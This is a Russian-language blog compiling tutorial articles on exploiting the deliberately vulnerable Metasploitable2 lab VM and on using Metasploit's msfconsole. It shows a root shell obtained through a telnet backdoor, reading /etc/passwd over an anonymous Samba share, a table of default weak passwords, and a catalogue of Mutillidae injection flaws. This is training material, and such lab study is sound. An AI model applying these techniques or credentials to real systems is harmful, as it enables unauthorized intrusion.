Trying 192.168.56.101…
Connected to 192.168.56.101.
Escape character is ‘^]’.
id;
uid=0(root) gid=0(root)
На порту 6667, Metasploitable2 работает демон UnreaIRCD IRC. Данная версия содержит в себе backdoor, существовал несколько месяцев незамеченным, срабатывает отправляя письма «AB» следующие по команде системы на сервере, на любом слушающемся порту. Metasploit имеет модуль эксплоит для того чтобы получить интерактивную оболочку, как вы можете видеть ниже.
Гораздо более простым является старый backdoor режима ожидания «ingreslock» что работал на порту 1524. Порт ingreslock был популярным лет десять назад, для добавления backdoor на зараженный сервер. Доступ прост:
В дополнение к злонамеренным backdoors в прошлом разделе, некоторые сервисы по своей природе практически являются backdoors. Первый который установлен в Metasploitable2 это distccd. Эта программа позволяет просто масштабировать большие работы компилятора, подобно конфигурированию систем. Проблемой с этой службой злоумышленник может легко злоупотребить, для того чтобы запустить команду по своему выбору используя модуль Metasploit, как Вы можете видеть это ниже.
Samba конфигурируется с возможностью совместной записи файлов и «wide links» включен(по умолчанию), также может быть использован в качестве backdoor для доступа к файлам которые не предназначены для совместного использования. Пример ниже использует модуль Metasploit, для того чтобы обеспечить доступ к корневой файловой системе, используя анонимное соединение и доступные для записи части.
root@ubuntu:~# smbclient //192.168.56.101/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
В дополнение к более откровенным backdoors и ошибкам конфигурации, Metasploit2 имеет ужасный пароль безопасности для обеих систем и аккаунтов баз данных. Основной административный пользователь имеет пароль msfadmin соответствующий имени пользователя. Обнаружив список пользователей системы, или используя еще один недостаток, захватив парольный файл или же путем перечисления пользовательских Ids через Samba, используя brute force атаку можно быстро получить доступ к нескольким учетным записям пользователей. Как минимум следующие слабые системные записи, присутствуют в системе.
Имя аккаунта |
пароль |
msfadmin |
msfadmin |
user |
user |
postgres |
postgres |
sys |
batman |
klog |
123456789 |
service |
service |
В дополнение к этим аккаунтам, сервис PostgreSQL может получить имя postgres и пароль postgres, в то время как служба MySQL является открытой для пользователя с именем root и пустым паролем. Сервис VNC обеспечивает удаленный доступ к рабочему столу, используя пароль password.
Metasploitable2 имеет умышленно уязвимые предустановленные веб приложения. Веб сервер запускается автоматически, при загрузке Metasploitable2. Для того чтобы получить доступ к веб-приложению, откройте веб-браузер и введите URL http://<IP>, где <IP> является адресом Metasploitable2. Одним из способов достижения этой цели является установка Metasploitable2 в качестве гостевой операционной системы в Virtual Box и изменение сетевых настроек с сетевого сервиса «NAT» на «Виртуальный адаптер хоста»(Host Only). Установку Metasploitable2 в Virtual Box с Host Only, я опишу в следующей статье.
В этом примере Metasploitable2 работает на IP 192.168.56.101. Переход на http://192.168.56.101/ показывает стартовую страницу веб-приложений.
Примечание: 192.168.56/24 «host only» по умолчанию в Virtual Box. IP адрес присваивается начиная со «101». В зависимости от порядка запуска гостевых операционных систем, IP адрес Metasploitable2 будет меняться.
Для того чтобы получить доступ к определенным веб-приложениям, нажмите на одну из предоставляемых ссылок. Отдельные веб-приложения могут быть дополнительно доступны путем добавления имени каталога приложений на http://<IP>, напишите URL http://<IP>/<папка приложения>/. Например для приложения Multillidae можно получить доступ введя в адресной строке http://192.168.56.101/mutillidae/. Приложения устанавливаются в Metasploitable2 в каталоге /var/www. (примечание: посмотреть данную категорию в metasploitable2 можно используя команду «ls /var/www»). В текущей версии, на момент написания, присутствующие приложения:
mutillidae
dvwa
phpMyAdminmutillidae
dvwa
phpMyAdmin
tikiwiki
twiki
tikiwiki-old
dav
Веб-приложение Mutillidae (NOWASP (Mutillidae)), содержит все уязвимости из Топ 10 OWASP плюс ряд иных уязвимостей, таких как HTML-5 веб хранилище, кеширование, и click-jacking. DVWA, Mutillidae позволяет пользователю изменить уровень безопасности от 0(полностью небезопасно) до 5(безопасно). Помимо того присутствуют три уровня подсказок, от уровня 0(без подсказок), до уровня 2(нуб максимальное количество подсказок). Если приложение повреждено пользовательской инъекцией или взломом, вы можете нажать кнопку «Reset DB» для сброса приложения в оригинальное состояние.
Примечание: Учебники по использованию Mutillidae вы можете найти в сети.
Включить подсказки в приложении вы можете нажав кнопку «Toggle Hints» в строке меню:
Приложение Mutillidae содержит как минимум следующие уязвимости:
страница |
Уязвимость |
add-to-your-blog.php |
SQL инъекция входа в блог SQL инъекция логина имени пользователя Cross сайт скриптинг входа в блог Cross сайт скриптинг логина имени пользователя Log инъекция логина имени пользователя CSRF JavaScript обхода проверки XSS в форме названия через ввод имени пользователя Показ подсказок может быть изменён пользователем, даже если они не должны показываться в безопасном режиме |
arbitrary-file-inclusion.php |
Системный файл compromise Загрузка любой страницы из любого сайта |
browser-info.php |
XSS через реферера HTTP заголовка JS инъекция через реферера HTPP заголовка XSS через строку пользовательского агента HTTP заголовка |
capture-data.php |
XSS через любой GET, POST или Cookie |
captured-data.php |
XSS через любой GET, POST или Cookie |
config.inc* |
Содержит unencrytped учетные данные базы данных |
credits.php |
Непроверенное перенаправление и движение вперед |
dns-lookup.php |
Cross сайт скриптинг на поля host/ip O/S Команда инъекции на поля host/ip Эта страница пишет log. SQLi и XSS на log возможны GET для POST возможна только потому что чтение POSTed переменные не применяются |
footer.php* |
Cross сайт скриптинг через HTTP заголовок HTTP_USER_AGENT |
framing.php |
Click-jacking |
header.php* |
XSS через логин имени пользователя и подписи Setup/reset пункта меню базы данных может быть включен путем установки uid значения куки 1 |
html5-storage.php |
DOM инъекции на добавление ключа ошибки сообщения, потому что ключ выводится в сообщении об ошибке без кодирования |
index.php* |
Вы можете использовать XSS вывода подсказки в меню, потому что он принимает ввод из значения куки включенной подсказки. Вы можете использовать SQL инъекцию значения куки UID, потому что он используется для просмотра. Вы можете изменить свое звание, чтобы администратор изменил UID значение. HTTP Response Splitting через ввод логина пользовательского имени потому что потому что он используется для создания HTTP заголовка. Эта страница отвечает за кеш-контроль, но не делает этого. Эта страница разрешает X-Powered-By HTTP заголовок. HTML комментарии. Существуют тайные страницы, которые просматривали перенаправление пользователя на страницу phpinfo.php. Это можно сделать при помощи brute forcing. |
log-visit.php |
SQL инъекция и XSS через реферера HTTP заголовка SQL инъекция и XSS через строку агента пользователя |
login.php |
SQL инъекция обхода подлинности, через поле имени пользователя и поле пароля. SQL инъекция через поле имени пользователя и поле пароля. XSS через поле имени пользователя JavaScript обхода проверки |
password-generator.php |
JavaScript инъекция |
pen-test-tool-lookup.php |
JSON иньекция |
phpinfo.php |
Эта страница нарушает правила конфигурации сервера PHP Применить раскрытие пути Раскрыть путь платформы |
process-commands.php |
Создает куки, но не делает из только HTML |
process-login-attempt.php |
|
redirectandlog.php |
|
register.php |
SQL инъекция и XSS через имя пользователя и поле подписи пароля |
rene-magritte.php |
Click-jacking |
robots.txt |
Содержит каталоги которые поддерживаются как частные |
secret-administrative-pages.php |
Эта страница дает подсказки о том как открыть конфигурацию сервера |
set-background-color.php |
Инъекции каскадных таблиц стилей и XSS через поле color |
show-log.php |
Отказ сервиса, если вы полностью заполните log XSS через hostname, IP клиента, HTTP заголовок браузера, реферальный заголовок HTTP, и поле даты |
site-footer-xss-discusson.php |
XSS через HTTP строку заголовка агента пользователя |
source-viewer.php |
Загрузка любого произвольного файла, включая файлы операционной системы. |
text-file-viewer.php |
Загрузка произвольных веб-страниц в интернет или локально включая файлы паролей сайтов. Фишинг |
user-info.php |
SQL инъекция, для сброса всех имен пользователей и паролей через поле имени пользователя или поле пароля. XSS через любое из отображаемых полей. Внедрение XSS на странице register.php. XSS через поле имени пользователя |
user-poll.php |
Параметр pollution GET для POST XSS через выбор параметра Cross сайтовая подделка запроса, чтобы заставить пользователя выбрать. |
view-someones-blog.php |
XSS через любое отображаемое поле. Они вводятся на добавлении страницы вашего блога. |
Из домашней страницы DVWA: «Damn Vulnerable Web App» (DVWA) это PHP/MySQL веб-приложение, является чрезвычайно уязвимым. Его основной целью должна быть помощь для профессионалов в области безопасности, для проверки своих навыков и инструментов в законной среде, помощи веб разработчикам лучше понять процессы безопасности веб приложений и изучению безопасности веб приложений и среде разработки.
DVWA содержит инструкции на домашней странице.
Имя пользователя по умолчанию = admin
Пароль по умолчанию =password
Помимо того опрометчиво раскрывающуюся информацию о PHP можно найти на http://<IP>/phpinfo.php. В этом примере, URL будет http://192.168.56.101/phpinfo.php. Данная уязвимость раскрытия информации PHP обеспечивает внутреннюю информацию системы и информацию о версии службы, которые могут быть использованы для поиска уязвимостей. Например зная что версия PHP показанная в скриншоте является версией 5.2.4, это может сказать что система может быть уязвима к CVE -CVE-2012-1823 и CVE -CVE-2012-2311 уязвимостям которые повлияли на PHP 5.3.12 и 5.4.X, аж до 5.4.2.
Метки: Metasploitable 2 |
Команды Msfconsole |
Msfconsole имеет много различных вариантов команд которые вы можете выбрать. Ниже записан набор команд Metasploit.
back Вернуться назад из текущего контекста
banner Выводит на дисплей баннер Metaspoit
cd Изменить текущий каталог
color Переключить цвет
connect Связь подключения с хостом
edit Редактирование текущего модуля с $VISUAL или $EDITOR
exit Выход из консоли
get Получает значение переменной в конкретном контексте
getg Получает значение глобальной переменной
go_pro Запуск графического интерфейса Metasploit
grep grep выходной другой команды
help Меню помощь
info Отображение информации на один или больше модулей
irb Зайдите в irb скриптовый режим
jobs Отображает и управляет работами
kill Уничтожить работу
load Загрузить framework плагин
loadpath Ищет и загружает модули из пути
makerc Ищет и загружает модули из пути
popm Pops последний модуль из стека и делает его активным
previous Устанавливает ранее загруженный модуль в качестве текущего модуля
pushm Помещает активный или список модулей в стек модуля
quit Выйти из консоли
reload_all Перезагрузить все модули из всех определенных путей модуля
rename_job Переименовать работу
resource Выполнить команду, сохраненную в файле
route Маршрут трафика посредством сессии
save Сохраняет активные хранилища данных
search Ищет имена и описания модулей
session Damp сессии объявления и отображение информации о сессиях
set Устанавливает в значение контекст-специфическую переменную
setg Устанавливает в значение глобальную переменную
show Отображает модуль данного типа или все модули
sleep Ничего не делать в течении указанного количества секунд
spool Написать консольный вывод в файл как на экран
threads Просмотр и манипуляция фоновыми потоками
unload Выгрузить framework плагин
unset Сбрасывает одну или несколько контекст-зависимых переменных
unsetg Сбрасывает одну или более глобальных переменных
use Выбор модуля по имени
version Показать номер версии framework и консольной библиотеки
После того как Вы закончили работу с конкретным модулем, или же если Вы случайно выбрали неправильный модуль, Вы можете выполнить команду «back», для того чтобы выйти из текущего контекста. Однако это не требуется. Потому как в коммерческих маршрутизаторах вы можете переключать модули из других модулей. Как напоминание, переменные необходимо перенести, если они установлены в глобальном масштабе.
Просто показывает случайно выбранный баннер
Есть не так много exploits которые его поддерживают, но так же есть опция «check», которая будет проверять, для того чтобы увидеть является ли цель уязвимой для каждого exploit вместо его использования.
Вы можете включить или отключить, если вывод msfconsole будет содержать цвета.
Существует миниатюрный netcat clone построенный в msfconsole, которая поддерживает SSL, прокси и отправку файлов. Используя команду «connect» с ip-адресом и номером порта, Вы можете подключится к удалённому хосту изнутри msfconsole также как если бы Вы работали с netcat или telnet.
Вы можете увидеть все дополнительные опции, введя параметр «-h».
Команда редактирования позволит изменить текущий модуль с $VISUAL или $EDITOR. По умолчанию будет открыт текущий модуль в Vim.
Команда exit просто выходит из msfconsole.
Команда help предоставляет Вам список и небольшое описание всех доступных команд.
Команда info будет предоставлять подробную информацию о конкретном модуле, включая все опции, цели, и иную информацию. Будьте уверены что всегда читать описание модуля перед его использованием может иметь нежелательные эффекты.
Команда info также предоставляет следующую информацию:
Информация об авторе и лицензировании.
Ссылки уязвимостей (то есть CVE, BID и тд.)
Любую полезную нагрузку которую модуль может иметь.
Запуск команды irb доставит Вас прямо в оболочку Ruby интерпретатора, где Вы можете выполнять команды и создавать скрипты Metasploit на лету. Эта функция также очень полезна для понимания внутренностей Framework.
Работы модулей работающих в фоновом режиме. Команда jobs предоставляет возможность перечислить и прекратить работы.
Команда kill убивает все работы которые поставляются с рабочим идентификатором.
Команда load, загружает плагин из директории плагинов Metasploit. Аргументы передаются как key=val в shell.
loadpath
Команда loadpath загрузит третью часть модуля дерева пути, который вы можете указать в Metasploit как 0-день, эксплоит, кодеры, и тд.
unload
Команда unload наоборот выгружает предварительно загруженный плагин и удаляет любые расширения команды.
Команда resource запускает партию файлов, которые могут быть загружены через msfconsole.
Некоторые атаки, такие как Karmetasploit используют файлы ресурсов для запуска набора команд в файле karma.rc создающем атаку. Позже мы рассмотрим как вне Karmetasploit, это мажет быть полезным.
Пакетные файлы могут ускорить тестирование и разработку в разы, а так же позволяют пользователю автоматизировать многие задачи. Кроме того, загрузка пакетного файла из msfconsole, они также могут быть переданы при запуске с помощью «-r». Простой пример ниже, создает пакетный файл для отображения номера версии Metasploit при запуске.
Команда «route» в Metasploit позволяет маршрутизировать сокеты через сессии или «comm», обеспечивая основные возможности поворотов. Для добавления маршрута, Вы передаете подсети и маске сети номер следующей сессии.
Msfconsole включает в себя обширные регулярные выражения базирующиеся на функции поиска. Если у Вас есть общее представление о том что Вы ищете, Вы можете найти его с помощью команды «search». В выводе который Вы можете видеть ниже, поиск делается для MS Bulletin MS09-011. Функция поиска будет искать эту строку в модуле имен, описаний, ссылок и тд.
Обратите внимание, названия модулей для Metasploit используют подчеркивания вместо дефисов.
Вы можете уточнить ваши поиски используя встроенную систему ключевых слов.
Для поиска с использованием имени описания, используйте «name» ключевое слово.
Используйте ключевое слово «path» для поиска путей модулей.
Вы можете использовать «platform» для того чтобы сузить поиск до модулей которые влияют на конкретную платформу.
Использование «type» позволяет фильтровать по типу модуля, к примеру post, exploit и тд.
Поиск с ключевым словом «autor» позволяет искать модули по необходимым авторам.
Так же Вы можете объединить несколько ключевых слов вместе, для того чтобы еще более сузить возвращаемые результаты.
Команда «session» позволяет Вам перечислить, взаимодействовать или уничтожить порожденную сессию. Сессия может быть shell, Meterpreter сессией, VNC и тд.
Чтобы перечислить все активные сессии, введите к ключевому слову «session» опцию «-l».
Для взаимодействия с конкретной сессией, Вам просто необходимо использовать «-i» переключатель с последующим номером id сессии.
Команда «set» позволяет Вам настроить Framework опции и параметры для текущего модуля с которым Вы работаете.
Metasploit также позволяет Вам установить кодер, чтобы использовать его во время выполнения. Это особенно полезно с разрабатываемых эксплоитах, когда вы не совсем уверены в том какие методы кодирования будут работать с эксплоитом.
Противоположна команде «set». «Unset» удаляет параметр предварительно настроенный с командой «set». Вы можете удалить все установленные переменные используя «unset all».
Для того чтобы избежать излишнего ввода символов во время теста на проникновение, вы можете устанавливать глобальные переменные в msfconsole. Вы можете сделать это при помощи команды «setg». После того как они были установлены, Вы можете использовать их во многих эксплоитах и дополнительных модулях, так как Вам нравится. Так же Вы можете сохранить их и использовать в следующий раз при старте msfconsole. Тем не менее ловушка может состоять в том что можно забыть глобальные переменные что Вы сохранили, поэтому всегда проверяйте настройки перед запуском эксплоитов. Или же Вы можете использовать команду unset, для того чтобы сбросить глобальную переменную. В примере который показан все переменные введены большими буквами (т. е. LHOST) однако Metasploit регистронезависимый, так что это не обязательно.
После настройки различных параметров, Вы можете выполнить команду «save», для того чтобы сохранить текущую среду разработки и настройки. Ваши сохраненные настройки будут автоматически загружены при запуске который избавит Вас от необходимости устанавливать все заново.
Ввод «show» в строке msfconsole покажет каждый модуль в Metasploit.
Есть количество команд «show», которые вы можете использовать, однако те которые вы будете использовать наиболее часто являются ‘show auxiliary’, ‘show exploits’, ‘show payloads’, ‘show encoders’ и ‘show nops’.
Выполнение ‘show auxiliary‘ отобразит список всех доступных вспомогательных модулей в Metasploit. Как вспоминалось ранее, вспомогательные модули включают в себя сканеры, отказы сервисных модулей и тд.
Естественно «show exploits» будет командой, в которой вы будете наиболее заинтересованы так как в основе её работы лежит вся эксплуатация Metasploit. Работа «show exploits» предоставит список всех эксплоитов содержащихся во framework.
Запуск «show payloads» покажет все различные payloads для всех платформ которые доступны в Metasploit.
Как Вы можете видеть, есть много доступных payloads. К счастью когда Вы находитесь в работе определенного эксплоита, работа ‘show payloads’ будет показывать только payloads которые совместимы с данным эксплоитом. Например если используете OC Windows Вы не будете видеть payloads для Linux.
Если вы имеете выбранный конкретный модуль, Вы можете использовать команду «show options», для того чтобы отобразить какие настройки доступны и/или необходимы для этого конкретного модуля.
Если Вы не уверены, является ли операционная система уязвимой для определенного эксплоита, запустите ‘show targets’ из модуля эксплоита, для того чтобы увидеть какие цели поддерживаются.
Если вы производите дальнейшую тонкую настройку эксплоита, Вы можете увидеть более продвинутые опции запустив ‘show advanced’.
Запуск ‘show encoders’ покажет список кодеров, которые доступны в MSF.
Наконец выдача команды ‘show nops’ покажет все NOP генераторы что может предложить Metasploit.
Когда Вы решили, определенный модуль сделать используемым, введите команду «use» и выберите её. Команда «use» изменяет контекст определенного модуля, выставляя специфический тип команды. Обратите внимание, на выводе ниже, что любые глобальные переменные которые были ранее установлены уже настроены.
В любое время когда Вам необходима помощь, Вы можете использовать команду справки msfconsole, команду «help», для того чтобы отобразить доступные опции.
Взято с сайта http://www.stanovlenie.org.ua/command-msfconsole/
Метки: Metasploit Metasploit Framework |
Metasploit Msfconsole |
Msfconsole вероятно является самым популярным интерфейсом для Metasploit Framework (MSF). Данный интерфейс обеспечивает централизованную консоль типа «все в одном» и позволяет Вам эффективный доступ практически ко всем опциям доступным в MSF. Msfconsole может показаться пугающим вначале, но как только вы узнаете синтаксис команд, вы научитесь ценить доступную силу этого интерфейса.
Поддерживается только способ доступа к большинству функций в Metasploit.
Обеспечивает базовую консоль интерфейса фреймворков.
Содержит большинство функций и высокую стабильность интерфейса MSF.
Полная readline поддержка, табуляции, и завершения команд.
Возможно выполнение внешних команд в msfconsole:
Для того чтобы запустить msfconsole, просто запустите msfconsole из командной строки. Msfconsole находится в директории /usr/share/metasploit-framework/msfconsole.
Вы можете задать -h для msfconsole, для того чтобы увидеть иные варианты использования, которые доступны для Вас.
Введите help или ? только в командной строке MSF и появится список доступных команд вместе с описанием того для чего они используются.
Msfconsole предназначен для того чтобы быть быстрым в использовании и одной из особенностей которые помогают в этой цели является tab завершение. С широким массивом доступных модулей, может быть достаточно трудно вспомнить точное название и путь к конкретному модулю, который вы хотите использовать. Как и в большинстве иных оболочек вводя то что вы знаете, и нажав на кнопку «Tab» система представит Вам список опций, доступных для Вас или автодополнение строки, если есть только один вариант. Tab завершение зависит от расширения ruby readline и почти каждая команда в консоли поддерживает Tab завершение.
use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
Msfconsole является наиболее часто используемым интерфейсом для Metasploit. Знание команд msfconsole поможет Вам получить прочную основу для работы с Metasploit в целом.
Взято с сайта http://www.stanovlenie.org.ua/metasploit-msfconsole/
Метки: Metasploit Metasploit Framework |
Интерфейс Msfcli |
Msfcli обеспечивает мощный интерфейс командной строки для framework. Это позволяет легко добавлять metasploit exploits в любой скрипт который вы можете создать.
Был удален 2015-06-18
Обратите внимание что при использовании msfcli переменные задаются при помощи ‘=‘ и все опции являются чувствительными к регистру.
Если вы не совсем уверены, какие опции относятся к конкретному модулю, Вы можете добавить букву ‘O‘ в конце строки, в зависимости от того в какой точке вы застряли.
Для отображения payloads, которые доступны для текущего модуля, добавьте букву ‘P‘ к командной строке.
Поддерживает запуск exploits и вспомогательных модулей
Полезен для решения конкретных задач
Удобный для обучения
Удобен в тестировании или разработке новых exploit
Хороший инструмент для одноразовой эксплуатации
Идеален если вы точно знаете какие exploit и опции Вам необходимы
Замечателен для использования в скриптах и базовой автоматизации
Интерфейс для Metasploitыл удален
Единственным реальным недостатком msfcli, является то, что он не поддерживается так же хорошо как msfconsole и он может использовать только одну оболочку за раз, что делает его весьма непрактичным для атак клиентской стороны. Он также не поддерживает ни один из расширенных возможностей автоматизации msfconsole.
Взято с сайта http://www.stanovlenie.org.ua/interface-msfcli/
Метки: Metasploit Metasploit Framework |
Основы Metasploit |
Существует множество различных интерфейсов в рамках Metasploit framework, каждый со своими сильными и слабыми сторонами. Таким образом, нет ни одного идеального интерфейса для использования с Metasploit framework, хотя msfconsole поддерживает только доступ к большинству основных Framework. Это все же полезно однако необходимо чувствовать себя комфортно со всеми интерфейсами, которые предлагает Metasploit framework.
Далее я расскажу о различных интерфейсах вместе с описанием где каждый лучше использовать.
Взято с сайта http://www.stanovlenie.org.ua/metasploit-fundamentals/
Метки: Metasploit Metasploit Framework |
Mixins и плагины Metasploit framework |
Быстрый вывод в Ruby
Каждый класс имеет только одного родителя.
Класс может включать в себя множество модулей.
Модули могут добавлять новые методы.
Модули могут перегружать старые методы.
Metasploit модули наследуют Msf::Module и включают mixins для добавления новых функций.
Metasploit Mixins
Mixins довольно простая причина выбора Ruby.
Mixins ”включает” один класс в другой.
Эти оба различия и похоже на наследование.
Mixins могут переопределять методы класса.
Mixins может добавлять новые функции и позволяет модулям иметь различные ”flavors”.
Спецификация протокола (то есть HTTP, SMB)
Спецификация поведения (то есть brute force)
connect() реализует TCP minix
connect() затем перегружает FTP, SMB и другие.
Mixins могут менять поведение.
Сканер mixin перегрузки run()
Изменение сканера run() для run_host() и run_range()
Он вызывает их параллельно на основе настройки THREADS
Mixin BruteForce аналогичен
Metasploit Плагины
Плагины работают непосредственно с API.
Они манипулируют framework в целом
Плагины подключаются в подсистему событий
Они автоматизируют определенные задачи, которые было бы утомительно делать вручную
Плагины работают только в msfconsole.
Плагины могут добавлять новые консольные команды
Они расширяют общую функциональность Framework
Взято с сайта http://www.stanovlenie.org.ua/mixins-and-plugins-metasploit-framework/
Метки: Metasploit Metasploit Framework |
Metasploit модель объекта |
В Metasploit Framework все модули являются Ruby классов.
Модули наследуются от типа специфического класса.
Специфический тип класса наследуется от Msf::Module класса.
Это является общим API между модулями.
Payloads немного отличаются.
Payloads создаются во время выполнения из различных компонентов.
Склеивает вместе stagers со stages
Взято с сайта http://www.stanovlenie.org.ua/metasploit-object-model/
Метки: Metasploit Metasploit Framework |
Модули и расположение в Metasploit |
Metasploit как представляется пользователю, состоит из модулей.
Exploits
Определяются как модули использующие аппаратуру.
Exploit без payload является модулем Auxiliary
Payloads, Encoders, Nops
Payloads состоит из кода работающего удаленно.
Encoders предназначен для убеждения что payloads приложен к месту назначения.
Nops удерживает payload соответствующего размера.
Местоположение модулей
Дерево первичных модулей
Расположен в /usr/share/metasploit-framework/modules/
Заданное пользователем древо модулей
Расположен в ~/.msf4/modules/
Данное расположение идеально подходит для частного набора модулей.
Загрузка дополнительных деревьев на время выполнения
Передайте опцию —m при запуске msfconsole (msfconsole -m)
Используйте команду loadpath в msfconsole
Взято с сайта http://www.stanovlenie.org.ua/modules-and-location-in-metasploit/
Метки: Metasploit модули модули Metasploit расположение модулей Metasploit |
Файловая система и библиотеки Metasploit |
Давайте рассмотрим одну часть архитектуры Metasploit Framework. В частности библиотеки и организацию файловой системы.
Файловая система Metasploit Framework, изложена в интуитивной форме и организована в каталоги.
data: редактируемые файлы, используемые Metasploit
documentation: предоставляет документацию для framework
external: исходный код и сторонние библиотеки
lib: “meat” для framework базового кода
modules: плагины которые могут быть загружены во время выполнения
scripts: Meterpreter и иные сценарии
tools: различные полезные утилиты командной строки
Библиотеки
Rex
Базовая библиотека для большинства задач
Handless sockets, протоколы, текстовые преобразования и другие
SSL, SMB, HTTP, XOR, Base64, Unicode
Msf::Core
Обеспечивает «базовую» API
Определяет Metasploit Framework
Msf::Base
Обеспечивает «дружественным» API
Обеспечивает упрощенные интерфейсы для использования Framework
http://www.stanovlenie.org.ua/file-system-and-library-metasploit/
Метки: Файловая система Metasploit Файловая система Metasploit Framework библиотеки metasploit библиотеки metasploit framework |
Архитектура Metasploit |
Чем лучше мы знаем наши инструменты, тем больше шансов у нас проверить безопасность компьютера, или компьютерной сети. Обнаружить уязвимости, и провести непосредственно взлом.
Итак, программа Metasploit Framework имеет следующую архитектуру.
Метки: Архитектура Metasploit Framework Архитектура Metasploit Metasploit Архитектура Metasploit Framework архитектура |
Требования Metasploit Framework |
До того как мы начнем рассматривать возможности программы Metasploit Framework, нам необходимо выполнить определенные требования которые необходимы Metasploit Framework. Это позволит Вам устранить многие проблемы до их появления.
Оборудование
Пространство на жестком диске
Оперативная память
Процессор
Доступ в интернет
Программное обеспечение
Гипервизор
Kali Linux
Аппаратные средства
Все указанные ниже значения являются приблизительными и рекомендуемыми. Вы можете использовать и меньшие параметры, но при этом может пострадать производительность.
Пространство жесткого диска
Вам понадобится минимум 10гигобайт дискового пространства. Так как придется использовать виртуальные машины с большими размерами файлов, это значит что Вам невозможно будет использовать файловую систему FAT32, потому что он не поддерживает файлы больших размеров. Выбирайте файловые системы NTFS, ext3 или любой иной формат. Рекомендуется объем дискового пространства 30 гигабайт.
Если Вы захотите создать копии своей работы это так же будет занимать ценное пространство вашей системы. Будьте внимательны и будьте готовы освободить необходимое пространство по мере необходимости.
Оперативная память
Если Вы будете иметь недостаточно оперативной памяти для Вашего компьютера и гостевой операционной системы, то в конце концов это может привести к отказу операционной системы. Вам необходимо выполнить все требования в оперативной памяти для операционной системы Вашего компьютера, а также эквивалентное количество оперативной памяти необходимой для каждой виртуальной машины. Ниже я укажу необходимое количество в данной ситуации. Хоть тут, как всегда, чем больше тем лучше.
Linux Хост минимальное количество оперативной памяти 1Gb желательно 2 или более.
Kali Гостевая операционная система 512Mb оперативной памяти, лучше 1Gb или больше. У меня Kali Linux установлена основной операционной системой, так что верхнее мне не нужно, да и для остального у меня пока 8Gb, надеюсь до 16 дойти.
Metasploitable Гостевая операционная система, оперативной памяти минимум 256 Mb рекомендовано 512 Mb. Больше будет еще лучше.
(Необязательно) на ОС Windows Минимально требуется памяти 256Mb, и 1Gb рекомендуется. Хотя, как всегда, чем больше тем лучше.
Процессор
Частота процессора всегда является проблемой с данной аппаратурой хотя старое оборудование лучше модернизировать или использовать для иных целей. Хотя конечно сам не с самым последним оборудованием работаю. По минимуму VMware Player требует 400MHz либо процессор более быстрый (рекомендовано 500MHz). Чем больше выделите тем лучше.
Доступ в интернет
Хорошее решение доступ в интернет через кабель cat5(витая пара) от роутера, свича или хаба. Если в сети нет DHCP—сервера, Вам придется назначить статистические IP—адреса для Вашей гостевой виртуальной машины. Подключение к беспроводной сети может работать также хорошо, как и Ethernet кабель, однако потеря сигнала на расстоянии через объекты, будет серьёзно ограничивать возможности подключения.
Программное обеспечение
Есть несколько требований к программному обеспечению необходимому для metasploit framework. Нам необходимо иметь как атакующую машину (Kali Linux), так и зараженную машину (metasploitable 2), а также гипервизор для запуска обоих в безопасной уединенной сетевой среде.
Гипервизор
Рекомендуемый гипервизор для лучшей совместимости с Kali и metasploitable является VMware Player. Так как VMware Player является свободным, Вам необходимо зарегистрироваться для загрузки. Однако хорошая виртуализация приложений и техники стоит того чтобы зарегистрироваться, если Вы еще не являетесь зарегистрированным членом. Так же Вы можете использовать платные альтернативы VMware Workstation или VMware Fusion.
Существуют множество различных вариаций когда дело доходит до гипервизора, который хочется использовать. В дополнение к VMware некоторые часто используют VirtualBox и KVM.
Kali Linux
Kali Linux является продвинутым дистрибутивом Linux, предназначенным для тестирования на проникновение и безопасность. В состав инструментов Kali Linux входит metasploit со многими установленными уже инструментами безопасности, которые также можно использовать на компьютере жертвы. Загрузить последнюю версию Kali Linux можно по адресу http://www.kali.org/downloads/
После того как Вы скачаете Kali Linux, Вам необходимо обновить систему до последней версии metasploit которая доступна в репозитариях с помощью команды
«apt-get update && apt-get upgrade»
Metasploitable
Одна из проблем с которой придется столкнутся когда начнем использовать framework, это попытка настройки целей для сканирования и атаки. К счастью, команда Metasploit об этом знает и выпустила уязвимую виртуальную машину VMware под названием «Metasploitable».
Metasploitable является намеренно уязвимой виртуальной машиной Linux. Эта виртуальная машина может быть использована для проведения подготовки по вопросам безопасности, тестирования инструментов безопасности и практики методов тестирования общего проникновения. Эта виртуальная машина может быть использована на всех последних продуктах VMware и иных средствах виртуализации таких как VirtualBox. Вы можете скачать файл образа Metasploitable2 из http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Никогда не используйте виртуальную машину в ненадежной сети, не подключайте её к интернету, используйте NAT или режим Host-only
После того как Вы скачаете виртуальную машину, извлеките её из архива, откройте файл vmx с помощью VMware и включите его. По истечению какого-то времени, система будет загружена и готова к действию. Введите пароль и логин по умолчанию
«msfadmin:msfadmin»
Взято с сайта http://www.stanovlenie.org.ua/requirements-metasploit-framework/
Метки: Требования Metasploit Framework Metasploit требования требования Metasploit Metasploit Framework требования |
Metasploit Framework Введение |
«Если бы у меня было восемь часов для того чтобы срубить дерево я бы первые шесть часов потратил на заточку своего топора»
Это высказывание говорит мне в последние годы о тот что проблемы которые все больше беспокоят меня, такие как возможная анонимность и безопасность в сети, возможно решить только лишь при помощи правильного набора инструментов, которые приведут к желаемому. Итак, какое-же отношение, данное полуфилософское высказывание, имеет к Metasploit Framework?
http://www.stanovlenie.org.ua/metasploit-framework-introduction/
Метки: Metasploit Metasploit Framework Metasploit Framework введение |
Дневник Ставратий_Константин |
|
Страницы: [1] Календарь |